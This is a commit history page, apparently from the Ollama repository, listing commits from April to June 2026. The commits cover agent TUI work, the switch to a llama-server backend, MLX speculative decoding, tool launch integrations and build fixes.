Compare commits

...
Author SHA1 Message Date
ParthSareen 26e1549f96 agent: harden compaction and tui state 2026-06-22 16:22:27 -07:00
ParthSareen bcd27e984d chore(agent): polish chat runtime and rendering 2026-06-22 14:37:21 -07:00
ParthSareen 6d2bbd68e3 feat(agent): refine chat tui flow 2026-06-20 17:23:56 -07:00
ParthSareen 42467c2431 feat(agent): polish chat tui loading and approvals 2026-06-18 21:59:45 -07:00
ParthSareen 9c04e04e6b agent: address review feedback 2026-06-18 16:24:43 -07:00
ParthSareen 98b022f4f5 agent: collapse large pasted TUI input 2026-06-18 14:29:19 -07:00
ParthSareen d60a21fcaa chore(agent): compact small contexts aggressively 2026-06-18 02:16:20 -07:00
ParthSareen 97c93a93b4 chore(agent): harden compaction and runtime cleanup 2026-06-18 01:52:36 -07:00
ParthSareen a058a75099 agent: harden resume and context preflight 2026-06-18 01:23:15 -07:00
ParthSareen c359d22a08 chore: note empty compaction summaries 2026-06-18 00:26:24 -07:00
ParthSareen 0034967cfd feat: refine agent cli flow 2026-06-17 21:30:38 -07:00
ParthSareen 66757a973d chore(agent): handle windows file urls 2026-06-17 16:39:40 -07:00
ParthSareen a718ed68a1 chore(agent): make windows paths portable 2026-06-17 16:24:44 -07:00
ParthSareen 204f719b77 feat(agent): add root onboarding flow 2026-06-17 15:42:21 -07:00
ParthSareen 9618a45286 feat(agent): improve chat tui workflow 2026-06-17 14:02:21 -07:00
ParthSareen ed6a3e6c4e chore: untrack generated docs 2026-06-15 16:53:05 -07:00
ParthSareen 280b85f8a4 agent: harden tool loop and polish tui 2026-06-15 15:33:47 -07:00
ParthSareen 821a45ca6e agent: update compaction and context tracking 2026-06-12 16:28:58 -07:00
ParthSareen 676facf043 agent: update chat tui controls 2026-06-12 16:28:58 -07:00
ParthSareen 50184444da agent: add chat tui controls and legacy aliases 2026-06-12 16:28:58 -07:00
ParthSareen 632bd88937 agent: improve chat input controls 2026-06-12 16:28:58 -07:00
ParthSareen 2ba0f9b96f agent: add output copy commands 2026-06-12 16:28:58 -07:00
ParthSareen 5625904153 agent: window slash command suggestions 2026-06-12 16:28:58 -07:00
ParthSareen 96f82b5ff2 agent: add model picker slash command 2026-06-12 16:28:58 -07:00
ParthSareen 9da4d0c6f8 agent: restore web tool auto approval and TUI scrolling 2026-06-12 16:28:58 -07:00
ParthSareen edd30d7194 docs: add agent improvements report 2026-06-12 16:28:58 -07:00
ParthSareen f417732279 agent: bound markdown and compaction caches 2026-06-12 16:28:58 -07:00
ParthSareen 72d18c99af agent: validate bash working directory 2026-06-12 16:28:58 -07:00
ParthSareen 02befa963c agent: require approval for web tools 2026-06-12 16:28:58 -07:00
ParthSareen a743721ec8 agent: harden bash approval classification 2026-06-12 16:28:58 -07:00
ParthSareen 2b54b72207 tui: split chat implementation 2026-06-12 16:28:58 -07:00
ParthSareen 30f206e235 agent: merge model-aware chat store 2026-06-12 16:28:58 -07:00
ParthSareen 13006826f8 agent: batch streaming persistence 2026-06-12 16:28:58 -07:00
ParthSareen 76eb5a9dc9 tui: track live working directory 2026-06-12 16:28:58 -07:00
ParthSareen cb8af634b3 tui: surface approvals over modals 2026-06-12 16:28:58 -07:00
ParthSareen 66cdf46e7d cmd: remove orphaned repl 2026-06-12 16:28:58 -07:00
ParthSareen a7c8484bea agent: persist chat images 2026-06-12 16:28:58 -07:00
ParthSareen 3be6794929 agent: unify approval dispatch 2026-06-12 16:28:58 -07:00
ParthSareen 444af2a712 feat: promote agent loop to canonical run path 2026-06-12 16:28:58 -07:00
Parth Sareen 12e04379cd launch: Fix launch provider drift (#16683) 2026-06-11 17:21:46 -07:00
Parafee41 f8a48df24d llm: decouple prompt caching from context shift (#16639)
This PR separates prompt caching from the public shift request option for native llama-server requests.

Previously, shift controlled two different mechanisms:

context shifting / overflow behavior
per-request llama-server cache_prompt
That meant callers could not request shift: false without also disabling prompt caching.

Fixes #16635
2026-06-11 16:05:24 -07:00
Patrick Devine 82e0ddb6fe mlxrunner: harden linear/embedding layers against over-promotion (#16682)
Adding/Multiplying a tensor by a scalar w/ a different data type
can cause the tensor to be promoted and cause performance issues.

This change adds several guards against over-promotion.
2026-06-11 13:56:25 -07:00
Jesse Gross 1abd56b6e6 mlxrunner: record committed MTP drafts before streaming them
The batched MTP accept paths advance the cache by the whole accepted run
before streaming it to the client. If the stream was cancelled partway
(e.g. the caller disconnects), the loop returned before recording the
remaining accepted tokens, leaving the cache offset ahead of
session.outputs. close() then indexed the token log past its end and
panicked with a slice-bounds error.

Record the whole run to session.outputs before streaming any of it, so a
cancelled stream can no longer desync the cache from the token log.

The same bug is present on main, with identical mechanics: the accept
paths there commit the cache to before+accepted and then stream in a loop
that returns on cancellation before recording the rest.
2026-06-09 00:39:19 -07:00
Jesse Gross ded2db7d86 mlxrunner: capture prefill snapshots across the forward
Prefill no longer splits its batch at each requested snapshot offset. The
session schedules the pending offsets on every cache before prefill, runs the
forward in full-size chunks, and attaches the captured snapshots to the trie
afterward. Offsets the prefill never crosses (it leaves one token for decode
seeding) are dropped instead of materializing a node for tokens never written,
and snapshots from an abandoned prefill are released on session close.
2026-06-09 00:39:19 -07:00
Jesse Gross d00622060f mlxrunner: drive MTP speculation through cache snapshots
Speculation used a parallel hierarchy of wrapper cache types that shadowed
the live caches and reconciled against them on commit. Replace it with
snapshot/restore on the live caches themselves: a cache snapshots itself as
a write crosses each offset, and the runner commits a batched draft by
restoring to the accepted count. The wrappers and the comparison plumbing
around them are gone.

Snapshots are lazy. A KV or rotating capture indexes into the live buffer and
owns no memory until a destructive write forces a copy-out, so rejecting a
draft is free.

Recurrent layers now validate in the same batched pass rather than falling
back to serial. A gated-delta layer reports its interior split offsets and
hands back the recurrent state at each one, which the cache records as a
snapshot.
2026-06-09 00:39:19 -07:00
Jesse Gross 177aefb8a9 nn/recurrent: return per-boundary states from the gated-delta kernels
CausalConv1D and GatedDelta now run their scan in segments cut at optional
WithSnapshotSplits offsets and return the recurrent state at each boundary
instead of just the final state. The output is identical to the unsegmented
scan; segmenting only adds a few kernel launches, not extra recurrence compute.

This lets a batched forward capture interior recurrent state without re-running
the scan, which the cache will use for speculative validation rollback points.
RecurrentCache.Put and the Qwen3.5 layer now thread the boundary-state slices,
committing the final entry as the live state.
2026-06-09 00:39:19 -07:00
Jesse Gross 07588c64ee mlxrunner/cache: split KVCache and RotatingKVCache into their own files
cache.go had grown to hold every cache kind. Move KVCache (and its
speculative wrappers) to kvcache.go and RotatingKVCache (and its
sliding-window mask applier) to rotating.go, leaving cache.go with the
shared interfaces and the Speculation transaction. Pure relocation;
no behavior change.
2026-06-09 00:39:19 -07:00
Jesse Gross 4c97a940ca mlxthread: preserve the original stack when worker work panics
Work that panics on the locked MLX worker goroutine was recovered and
re-raised on the caller, so the printed trace pointed at the re-panic
site in this package rather than the code that actually panicked.

Capture the worker stack at recovery and carry it through a value that
implements error, so the runtime prints the original location in the
fatal trace.
2026-06-09 00:39:19 -07:00
Bruce MacDonald 74cbf1d2c2 docs: omp (#16552)
Add docs for explaining and setting up "oh my pi" (omp)
2026-06-08 11:43:51 -07:00
Bruce MacDonald 5c1e37eb67 docs: hermes desktop (#16549) 2026-06-08 11:43:11 -07:00
Jeffrey Morgan f0078ae476 docs: update docs examples to use Gemma 4 instead of Gemma 3 (#16607) 2026-06-07 12:43:13 -07:00
Jeffrey Morgan 96201a623a Add AGENTS.md and CLAUDE.md to root repository (#16604) 2026-06-07 10:57:59 -07:00
Daniel Hiltgen 9c94c2b11e docs: describe llama.cpp update process (#16603) 2026-06-07 10:27:47 -07:00
Parth Sareen e09b3f9fb5 openai: align models list with tags (#16556) 2026-06-05 17:59:05 -07:00
Bruce MacDonald a0099da2d1 launch: use native Windows Hermes config path (#16558) 2026-06-05 17:29:19 -07:00
Chris Chenandfuleinist 25e0e81e12 docs: update Zod example to use native toJSONSchema (#14746)
Co-authored-by: fuleinist <fuleinist@gmail.com>
2026-06-05 16:21:07 -07:00
Bruce MacDonald 87cff95af8 launch: oh-my-pi (#16410) 2026-06-04 17:49:49 -07:00
Patrick Devine 3ef69ef784 mlx: allow the embedding layer to use the nvfp4 global scale (#16527) 2026-06-04 17:40:01 -07:00
Michael Yang 1a7786be14 docs: add cloud model retirement (#16528) 2026-06-04 15:18:38 -07:00
Bruce MacDonald 3370ff8b1c launch: hermes-desktop app (#16516)
Add support to launch the hermes-desktop app alongside the hermes agent from ollama launch. It will go through the install on first run if hermes-desktop is not already installed.
2026-06-04 11:51:36 -07:00
Daniel Hiltgen 455f57457d llama.cpp version update (#16511)
Bump llama.cpp to b9509, which includes the upstream Gemma 4 12B multimodal projector fixes for the n_head=0 divide-by-zero crash seen on x86/CUDA/Linux/Windows.

Fixes #16479
Fixes #16489
Fixes #16491
Fixes #16492
Fixes #16495
2026-06-04 08:20:57 -07:00
Bruce MacDonald 1d955ed990 integrations: hermes windows install (#16487) 2026-06-03 17:40:45 -07:00
Eva H d071237131 docs: add Cline CLI integration doc (#16341) 2026-06-03 20:30:01 -04:00
Daniel Hiltgen 229a1303fb llama-server: fix gemma4 patch wiring (#16477)
This will fix the "clip.cpp:4399: Unknown projector type" crash.
2026-06-03 14:41:03 -07:00
Parth Sareen ac3d0657a2 launch: migrate pi (#16213) 2026-06-03 14:35:32 -07:00
Daniel Hiltgen 01557ff313 llama-server: allow GPU offload for projectors (#16473)
Special case Metal iGPUs to enable GPU offload.
2026-06-03 13:58:40 -07:00
Patrick Devine e5a38739b4 mlx: "requires" in modelfile is being ignored for mlx based models (#16469)
This change fixes an issue in `ollama create --experimental` which
is currently ignoring the REQUIRES command in a Modelfile.
2026-06-03 13:10:57 -07:00
Jeffrey Morgan 5f56a289b3 server: classify mmproj GGUFs as projector layers (#16472) 2026-06-03 12:59:34 -07:00
Eva H ad8cda255d launch: clean legacy codex profile before launch (#16467) 2026-06-03 14:49:31 -04:00
Daniel Hiltgen 3e1b4fe39d Kill llama-server during Windows cleanup (#16458)
Windows installer and app cleanup could leave llama-server.exe running when ollama.exe was killed directly, so cleanup now includes llama-server.exe and taskkill /T.
2026-06-03 10:25:12 -07:00
Daniel Hiltgen 52196f1a97 llama.cpp version update (#16463)
Bump llama.cpp to b9493 and refresh the Laguna compat patch for upstream enum/tokenizer movement and the renamed SWA layer bitmap field.
2026-06-03 10:20:30 -07:00
Patrick Devine 50bbda5660 models: add support for gemma4-12b (#16457) 2026-06-03 07:44:57 -07:00
Daniel Hiltgen 4b5bdd3b25 fix laguna patch build breakage (#16445)
Follow up to #16396

Fix kernel template instantiation so the symbols are exported in the library.
2026-06-02 16:35:19 -07:00
Daniel Hiltgen e828061b6e llm: ignore llama-server SSE ping comments (#16443)
llama.cpp b9478 added a default 30s SSE ping that emits colon-only comment frames (":\n\n") while streamed requests are idle; Ollama treated non-data SSE lines as JSON, so skip SSE comments in completion and chat streams.
2026-06-02 15:40:14 -07:00
Bruce MacDonald 7a2073d17b docs: configure hermes desktop app (#16440) 2026-06-02 14:32:10 -07:00
Daniel HiltgenandJeffrey Morgan c952708169 llama: add laguna (poolside) arch via a llama.cpp patch under llama/c… (#16396)
* llama: add laguna (poolside) arch via a llama.cpp patch under llama/compat/models

The pinned llama.cpp does not include poolside Laguna yet. Add it as an Ollama-owned source file plus a small registration patch under llama/compat/models/. apply-patch.cmake now applies every *.patch under llama/compat/ (the hooks patch plus each arch patch), so adding an architecture only adds files under llama/compat/models/ and needs no new cmake.

* cleanup patch to keep windows happy

---------

Co-authored-by: Jeffrey Morgan <jmorganca@gmail.com>
2026-06-02 13:17:08 -07:00
Parth Sareen f57d111754 launch: isolate Codex launch configuration (#16437) 2026-06-02 12:10:46 -07:00
Daniel Hiltgen c34a79a373 llama.cpp version update (#16426) 2026-06-02 11:46:56 -07:00
Daniel Hiltgen b051c9cf83 More harden app markdown URL handling (#16436) 2026-06-02 11:46:14 -07:00
Daniel Hiltgen b7b7fa0454 llm: detect llama-server load stalls from output (#16427)
llama-server model loads could time out after the fixed load duration even while tensor-loading progress dots were still being emitted, so track raw runner output activity and use OLLAMA_LOAD_TIMEOUT as a stall deadline.

Fixes #16416
Fixes #16412
2026-06-02 11:30:48 -07:00
Daniel Hiltgen 4c076813be discover: allow Radeon 8060S iGPU by default (#16429)
Default integrated GPU filtering dropped the supported ROCm gfx1151 Radeon 8060S unless OLLAMA_IGPU_ENABLE was set, so add a ROCm gfx-target allowlist with gfx1151 as the first admitted target.  This iGPU is a known-good iGPU.

Fixes #16423
2026-06-02 11:15:01 -07:00
Daniel Hiltgen 6780f0416a Harden app markdown URL handling (#16380) 2026-06-02 11:14:36 -07:00
Daniel Hiltgen 35fa277fa9 llm: include cached prompt tokens in llama-server counts (#16428)
llama-server reports newly processed prompt tokens separately from cached prompt tokens, so add cache_n to prompt_n to preserve Ollama's pre-0.30 full-context prompt_eval_count semantics.

Fixes #16414
2026-06-02 10:51:01 -07:00
Daniel Hiltgen 05747b02ab launch: fix opencode local model limits (#16425)
Local model metadata from /api/tags can include a context length without a max output limit, so omit OpenCode limit stanzas unless an output limit is known.

This preserves the pre-0.30 OpenCode behavior: local models did not receive a limit stanza because /api/tags did not expose context length, while cloud models still emit complete context/output limits.

Fixes #16424
2026-06-02 10:50:35 -07:00
Eva H 4e807fdedd cmd/launch: add Qwen code integration (#15900) 2026-06-01 19:51:32 -04:00
Daniel Hiltgen 7d3a6c3ae5 log template details to aid troubleshooting (#16403)
This cleans up the capabilities logic so we can log more information about the various options we consider as well as the final template version we use.
2026-06-01 16:25:44 -07:00
Eva H 06ff728246 feat(launch): show and auto-install Cline CLI (#16402) 2026-06-01 19:04:08 -04:00
Parth Sareen 2c71d8d7ca launch: migrate Codex config (#16397)
* launch: migrate Codex config
2026-06-01 13:46:41 -07:00
Eva H 00381496a3 cmd/launch: fix configure cline ollama provider via providers.json (#16352) 2026-06-01 16:41:40 -04:00
ZiTian ZhaoandParthSareen 5e9636fa05 launch: avoid legacy Codex App profiles (#16364)
* launch: avoid legacy Codex App profiles
---------

Co-authored-by: ParthSareen <parth.sareen@ollama.com>
2026-06-01 11:49:56 -07:00
Daniel Hiltgen 630882621b llama-server followups (#16353)
* llama-server followups

Misc fixes for #16031
- Add back dropped ROCm build flag for multi-GPU support on windows
- Fix amdhip64_*.dll version detection for "latest" selection
- Fix embeddings API for consistent normalize behavior with prior versions

* ci: set up for automated llama.cpp update testing

* reduce batch for fa-disabled, and constrained vram

* mlx: fix v3 load bug on m5

Imagegen was incorrectly loading v3 first.  This DRYs out the loading code so imagegen gets the same new v4/v3 selection logic.

* fix reload bug on embedding models

* bump version

* steer user how to enable iGPU when disabled
2026-06-01 10:44:21 -07:00
Patrick Devine 0e93ccc2cd convert: fixes for qwen3next model conversion (#16354)
This change addresses some problems with GGUF conversion including:
 * correctly naming the MoE tensors
 * correctly quantizing the nextn.eh_proj.weight MTP tensor
2026-06-01 09:43:11 -07:00
Jeffrey Morgan e7766a4a47 model: improvements to laguna-xs.2 parser/renderer (#16362) 2026-05-31 14:11:07 -07:00
Jeffrey Morgan be7de10c41 llama: handle Gemma 4 and LFM2 BOS override in llama server (#16367) 2026-05-31 14:05:39 -07:00
Daniel Hiltgen 11be8f6ac8 mlx: fix dev mode search path (#16355)
The superbuild from the llama-server work changed paths but missed updating the MLX library resolution code to match.
2026-05-29 16:33:40 -07:00
Daniel Hiltgenandjmorganca 9db4bdbad6 runner: Remove CGO engines, use llama-server exclusively for GGML models (#16031)
* broad lint fixes to sidestep CI scope glitch

* runner: Remove CGO engines, use llama-server exclusively for GGML models

Remove the vendored GGML and llama.cpp backend, CGO runner, Go model
implementations, and sample.  llama-server (built from upstream llama.cpp via
FetchContent) is now the sole inference engine for GGUF-based models.
(Safetensor based models continue to run on the new MLX engine.)  This allows
us to more rapidly pick up new capabilities and fixes from llama.cpp as they
come out.

On windows this now requires recent AMD driver versions to support ROCm v7 as
llama.cpp currently does not support building against v6.

* llama/compat: load Ollama-format GGUFs in llama-server

Squashed from upstream/jmorganca/llama-compat on 2026-04-29.
Source tip: 0c33775d37.

Original source commits:
- 25223160d llama/compat: add in-memory shim so llama-server can load Ollama-format GGUFs
- 7449b539a llm,server: route Ollama-format gemma3 blobs through llama/compat
- 436f2e2b1 llama/compat: make patch-apply idempotent
- 8c2c9d4c8 llama/compat: extend gemma3 handler to cover 1B and 270M blobs
- 021389f7b llama/compat: shrink clip.cpp injection from 18 lines to 1
- 61b367ec2 llama/compat: shrink patch to pure call-site hooks (34 -> 20 lines)
- 36049361c llama/compat: simplify shim (gemma3-tested)
- 8fa664865 llama/compat: add qwen35moe text handler
- db0c74530 llama/compat: add qwen35moe vision (clip) support
- 2a388da77 llama/compat: split shared infra into a util TU
- 9a69a17dc llama/compat: document non-public API dependencies
- d0f38a915 llama/compat: add gpt-oss and lfm2 handlers
- 086071822 llama/compat: add mistral3 text handler (vision TODO)
- 63bde9ff7 llama/compat: add mistral3 vision (clip) support
- 3a57b89d5 llama/compat: apply LLaMA RoPE permute to mistral3 vision Q/K
- 99cb87439 llama/compat: add qwen35, gemma4, deepseek-ocr handlers
- 2c7850dba llama/compat: add nemotron_h_moe handler (latent FFN + MTP skip)
- 9e3b54225 llama/compat: add llama4 text + clip handlers
- 034fee349 llama/compat: add gemma4 clip handler (gemma4v projector)
- 9945c5a93 server: remove dhiltgen/* compat redirect table
- 5d4539101 llama/compat: rewrite gemma4 tokenizer model to BPE
- 7e0765327 llama/compat: add glm-ocr text handler + text-loader load-op hook
- f1bd1a25a llama/compat: add glm-ocr clip handler (glm4v projector)
- 4b5cf3420 llama/compat: collapse text-loader hook back to one new patch line
- eb4ecf4fc llama/compat: extend gemma4 clip handler to gemma4a (audio)
- a23a5e76f llama/compat: fix gemma4a per-block norm tensor mapping
- cd2dcaff4 llama/compat: add embeddinggemma handler
- 1ce8a6b26 llama/compat: add qwen3-vl + qwen2.5-vl handlers
- fd98ffa1e llama/compat: add gemma3n + glm4moelite handlers
- cc7bdf0bc llama/compat: handle null buft in maybe_load_tensor
- 0c33775d3 llama/compat: disable mmap when load_op transforms text-side tensors

* refine implementation

* ci: fix windows MLX build

* ci: fix windows llama-server build

* ci: fix windows rocm build

* ci: windows mlx tuning

Shorten long-tail on build, and get OllamaSetup.exe back under 2g limit

* ci: fix windows dependencies

* win: fix dependency gathering

* disable openmp

* win: arm64 cross-compile build

also DRY out CI steps

* scheduler improvements

* ci: improvements from #15982

* win: favor ninja for faster developer builds

* win: fix build

* win: fix arm64 cross-compile

* win: avoid spaces in compiler path

* misc discovery fixes, and bos handling

* lint fixes

* win: fix arm cross-compile build/CI bugs

* llama.cpp update

* win: handle multiple CRT dirs

* vulkan: add windows iGPU detection

* fix creation bugs for patched models, other refactoring work

* tune batch size for better performance

* ci and lint fixes

* fix repeat_last_n bug

* build: revamp build for better developer UX

* amd, sampler, qwen3next fixes

* version bump

* fix mlx build

* revamp GPU discovery

Scanning the output of llama-server is turning out to be too error prone across
llama.cpp updates, so this switches to a thin dynamic library load against the
bundled GGML libraries so more details can be gathered from the API.

* version bump

* missing file

* ci: fix cache miss on rocm build

* refine vulkan dep handling

* fix ps reporting bug on full GPU load

* improve cmake wiring for customized local builds

* version bump

* docker build arg cleanup

* improve windows exit error logs

* fix community gemma4 support and ci flakes

* fix mlx unit test

* tighten up ps logic to avoid double counting fit log lines

* version bump

* fix ps view for full gpu layer offload

* add MTP wiring for llama-server and create with GGUFs

* pick best template by capabilities

* version bump

* ci: harden apt repos

* remove unused cpu core discovery

* adjust batch default logic to reduce OOMs

* support larger tool calls

* fix audio support, template show

* qwen35 mtp patch support

* flesh out dtypes

* rocm deps

* version bump

* lint fix

* block broken gfx1150 on windows

* fix qwen3.5 moe mtp tensors in patch

* mmproj oom fallback and vulkan on by default

* qwen MTP compat fix

* version bump

* ci: fix WoA cross-compile

* ci: workaround ui tool in cross-compile

* version bump

* win: enable OpenMP for CPU builds

* build: improve developer UX

* ci: windows path workaround for CPU build

* win: fix WoA dependencies

* win: fix large offset reads for mmproj patched loads

* version bump

* fix vulkan dup detection

* add OLLAMA_IGPU_ENABLE and largely disable iGPUs by default

* opt-in MTP, win large offset, integraton fixes

* fix unit test scheduler interaction hang

* fix multi-gpu filtering

* version bump

* review comments

* fix thinking level

* fix linux rocm ordering and granite 3.3 template

* version bump

* ci fix - non-shallow MLX checkout

* bypass linux sysfs unit test on windows

---------

Co-authored-by: jmorganca <jmorganca@gmail.com>
2026-05-29 13:35:47 -07:00
Patrick Devine f63eea3d27 mlx: fix reported information in ollama show (#16289)
This change updates the show API for MLX models to:
  * display the correct quantization in mixed precision models
  * not display the global_scale scalar value
  * not duplicate the `tools` capability
2026-05-24 14:08:06 -07:00
Anto jones 632ff00798 server: remove duplicate template parsing (#16287) 2026-05-24 13:27:24 -07:00
Jesse Gross 275f122cda mlxrunner: keep gated-delta recurrent state in float32
Split the gated-delta Metal/CUDA kernels' dtype template into separate
input (InT) and state (StT) types so activations can stay in bf16/fp16
while the accumulated delta state stays in float32. Allocate the delta
state and qwen3_5's no-cache zero state in float32 to match.
2026-05-22 09:32:09 -07:00
Jesse Gross 32568531bd create: read draft architecture from its config.json
Previously the draft architecture was hardcoded to
Gemma4AssistantForCausalLM. Read it from the draft model's config so
any draft architecture can be packaged.
2026-05-22 09:32:09 -07:00
Jesse Gross 438fb991e4 mlxrunner: move YaRN RoPE helpers into x/models/nn
Move RopeParameters, BuildYarnRopeFreqs, and ScaleRotaryPart out of
laguna and into x/models/nn so other models can reuse them.
2026-05-22 09:32:09 -07:00
Jesse Gross 358af4af23 Revert "mlxrunner: add DFlash speculative decoding (#16134)"
This reverts commit 98e26b8c37.

The DFlash integration is too invasive to keep at this stage: it
threads DFlash-specific logic through the pipeline, base model
interfaces, and the cache layer. The recurrent cache also now
has qwen3.5 model-specific code. Revert it now and reintroduce
the self-contained, generally-useful pieces (YaRN RoPE DRY-out, draft
architecture autodetection, gated-delta fp32 state) as separate
follow-up commits.
2026-05-22 09:32:09 -07:00
Parth Sareen 91c8e5e1a8 launch: enriched model inventory (#16230) 2026-05-21 11:57:20 -07:00
Daniel Hiltgen 4b2d529966 Reduce startup model hydration (#16215)
* Reduce startup model hydration

Add a lightweight model list cache for tags and launch inventory, while keeping show cache population lazy. This avoids loading every local model at startup on large model stores.

* harden flaky scheduler unit test

* remove extra launch model metadata text

* review comments

* review comments
2026-05-19 15:53:08 -07:00
Bruce MacDonald e6b1d751f2 codex: omit patch tool type (#16231)
Including this value can cause schema compatibility issues. It was removed from codex in a new version.
2026-05-19 13:37:05 -07:00
Eva HandBruce MacDonald 56b319f457 launch: add codex model metadata catalog (#15795)
Co-authored-by: Bruce MacDonald <brucewmacdonald@gmail.com>
2026-05-18 15:26:43 -07:00
Daniel Hiltgen 42e6f56c2a ci: speed up release builds (#15982)
* ci: speed up release builds

This should help speed things up for release.  It also will help
speed up local developer builds a little.

* ci: dedup linux build steps and optimize

* review comments
2026-05-15 14:53:15 -07:00
Daniel Hiltgen da679adcde quiet down kv log spew (#16105) 2026-05-15 13:28:32 -07:00
Parth Sareen b9c0421f03 docs: add codex app (#16163) 2026-05-14 17:53:15 -07:00
Patrick Devine 98e26b8c37 mlxrunner: add DFlash speculative decoding (#16134)
This change adds dflash block diffusion speculative decoding to the MLX runner. Included in this change:

support for qwen3.6 moe/dense speculative decoding
draft model recurrent cache playback
RoPE/YaRN changes (DRY out the laguna/dflash MoE YaRN implementation)
support for greedy sampling / leviathan/chen sampling
2026-05-14 14:02:34 -07:00
Parth Sareen c28ddc0a7b launch: codex app restarts (#16155) 2026-05-14 12:08:13 -07:00
Parth Sareen 3ad2fa3fb5 launch: update codex app UI copy (#16157) 2026-05-14 12:08:08 -07:00
Parth Sareen 6b6f45ef0e docs: hide codex app till launch (#16153) 2026-05-14 10:56:52 -07:00
Patrick Devine 4860130f83 mlx: rework the MLX sampler (#16122)
* mlx: rework the MLX sampler

Replace the MLX sampler transform chain with an explicit distribution pipeline that applies:
  1. penalties
  2. top-k
  3. temperature/softmax
  4. top-p
  5. min-p
  6. normalize
  7. categorical

The common top_k path now keeps sparse [B,K] token ids/probabilities on GPU instead of carrying full-vocab
scores, and sampled MTP reuses those draft/target distributions for acceptance, bonus, and residual sampling.

This change also fixes the seed parameter so that temperature sampling and sampled MTP are reproducible.
2026-05-13 17:18:27 -07:00
Parth Sareen ac7295ccab launch: codex app integration (#16120) 2026-05-13 17:11:52 -07:00
Daniel Hiltgen 6398cd5b78 mlx: add memory trace logging (#16131)
This should help narrow down the root cause of #16030
2026-05-13 13:37:31 -07:00
Eva H 3af1a008e2 launch/opencode: add image modalities for vision models (#15922) 2026-05-12 15:51:46 -04:00
Eva H 6bdb73073b anthropic: Preserve Claude local image-path tool results in renderer-owned prompt formatting (#16047) 2026-05-12 00:02:17 -04:00
Daniel Hiltgen 421faa0263 mlx: fix macOS 26 target leakage in v3 metallib (#16053)
MLX compiles the AIR objects with the requested -mmacosx-version-min, but its final metallib step invokes metal instead of metallib. With the macOS 26 SDK, that can stamp the Metal v3 library with a macOS 26 deployment target.

Relink the generated AIR files with metallib before install until this is fixed upstream.
2026-05-11 16:37:57 -07:00
Daniel Hiltgen 206b049508 mlx: avoid status timeout during inference (#16086)
The MLX runner now routes model work through a locked worker thread. Status also used that worker only to sample memory, so a scheduler health ping could sit behind long prefill or generation until its 10s context expired, causing /v1/status to return 500 and the server to treat the runner as unhealthy.

While Metal doesn't change VRAM reporting, CUDA does. Cache the last memory sample and make status perform only a short best-effort refresh. If the worker is busy, status returns the cached value while a single background refresh continues and updates the cache when the worker becomes available. The in-flight guard and lifecycle context keep this from spawning unbounded refreshes while preserving live VRAM refresh behavior for CUDA.

Fixes #16081
2026-05-11 16:03:38 -07:00
Patrick Devine d819ef0f97 mlx: update the imagegen runner for mlx thread affinity (#16096) 2026-05-11 13:05:06 -07:00
Daniel Hiltgen 3d5a011a2e app: harden update flows (#16100)
* app: harden update flows

This hardens the windows update flows and adds a new opt-in and CI triggered unit test to verify Mac/Windows updates with verification.

* test: harden unit tests for OLLAMA_MODELS being set

* app: harden updater
2026-05-11 12:24:01 -07:00
Daniel Hiltgen c2f2d90a67 test: integration test hardening (#13532)
* test: integration test hardening

Improve reliability on slower systems, and some flakes.  Fix
a few logic flaws on the newer tests, general hardening.

* tighten up vision logging

* add new models

* remove some older models - still covered by library scenarios
2026-05-08 15:54:17 -07:00
Daniel Hiltgen 1e1b34dada mlx: refined model push behavior (#15431)
* mlx: refined model push behavior

Refine the algorithm for parallel push of safetensors based models to get
better reliability and throughput.

* review comments, hardening, and performance tuning for slow links

* review comments
2026-05-08 14:25:30 -07:00
Parth Sareen f866e7608f launch: disable Claude Desktop launch (#16028) 2026-05-07 10:46:18 -07:00
Parth Sareen bab59072fb launch: add plan-aware model gating (#16027) 2026-05-06 14:34:26 -07:00
Eva H 7c2c36bda2 cmd/launch: improve integration backup UX (#15907) 2026-05-06 11:32:54 -04:00
Parth Sareen d319227df0 server: cache show responses (#15967) 2026-05-05 14:40:18 -07:00
Daniel Hiltgen 2d84ec939c mlx: partial cleanup of imagegen layout (#15435)
* mlx: partial cleanup of imagegen layout

This moves part of the imagegen safetensors code to the new package.

* test: remove flaky timing test
2026-05-05 14:15:30 -07:00
Patrick DevineandDaniel Hiltgen 15e6076d79 mlx: Gemma4 MTP speculative decoding (#15980)
This change adds support for MTP (multi-token prediction) speculative decoding for the
gemma4 model family.

It includes:
  * support for importing safetensors based gemma4 draft models with `ollama create`
  * a new DRAFT command in the Modelfile for specifying draft models
  * a --quantize-draft flag for the ollama create command to quantize the draft model
  * cache support for speculation
  * changes to the rotating cache to be able to handle MTP correctly
  * sampling support for draft model token prediction

---------

Co-authored-by: Daniel Hiltgen <daniel@ollama.com>
2026-05-05 08:55:04 -07:00
Parth Sareen 4017af96cd go: bump to 1.26 (#15904) 2026-05-03 23:24:35 -07:00
Daniel Hiltgen 534342e7e2 Update MLX and MLX-C with threading fixes (#15845)
* Update MLX and MLX-C

* Run MLX CGO work on a locked OS thread

MLX now relies on OS-thread-local execution state for streams, encoders, and caches. Add an mlxthread executor backed by runtime.LockOSThread and route runner initialization, model load, inference, status memory reads, and cleanup through the worker so Go goroutine migration cannot split MLX state across native threads.

Also stop caching default MLX streams before the runner owns the thread and add worker/threaded MLX regression tests.

* mlx: use common status writer

* mlx: bundle missing libjaccl on arm64

Inspired by #15793

* review comments
2026-05-03 10:03:14 -07:00
Parth Sareen 9ba5a04914 launch: claude app (#15937) 2026-05-02 19:19:57 -07:00
Bruce MacDonald 938ca6e274 app: source featured models from experimental recommendations endpoint (#15909)
Replace the hardcoded FEATURED_MODELS list with the
/api/experimental/model-recommendations endpoint so the picker stays in
sync with server-driven recommendations. Inline the merge into useModels
(recommendations first, then the rest of /api/tags) and drop the
standalone mergeModels util.
2026-05-01 11:10:20 -07:00
Pratham Agarwal 8f39fff70b fix: resolve OpenClaw gateway launch timeout on Windows by enforcing IPv4 loopback (#15726) 2026-04-30 22:20:08 -04:00
Daniel Hiltgen 4fe5609563 metal: harden for ggml initialization failures (#15755)
* metal: harden for ggml initialization failures

ggml_metal_device_init performs a probe to verify the tensor API compiles.  On
some systems this passes, even though kernel coverage isn't complete, which
results in a later crash when compiling the real kernels.  This change adds a
single retry if any of the error strings match this failure mode to disable the
tensor API.  It also hardens an error case in the Go initDevices to detect
device initialization failures and panic instead of crashing later on a nil
array entry.

Fixes #15734

* review comments

* review comments
2026-04-30 16:28:03 -07:00
Bruce MacDonald 917324bb4d app: remove ollama update url env var used for testing (#15905) 2026-04-30 13:14:08 -07:00
Parth Sareen c7c2837c96 renderers: update gemma4 renderer (#15886) 2026-04-29 18:40:23 -07:00
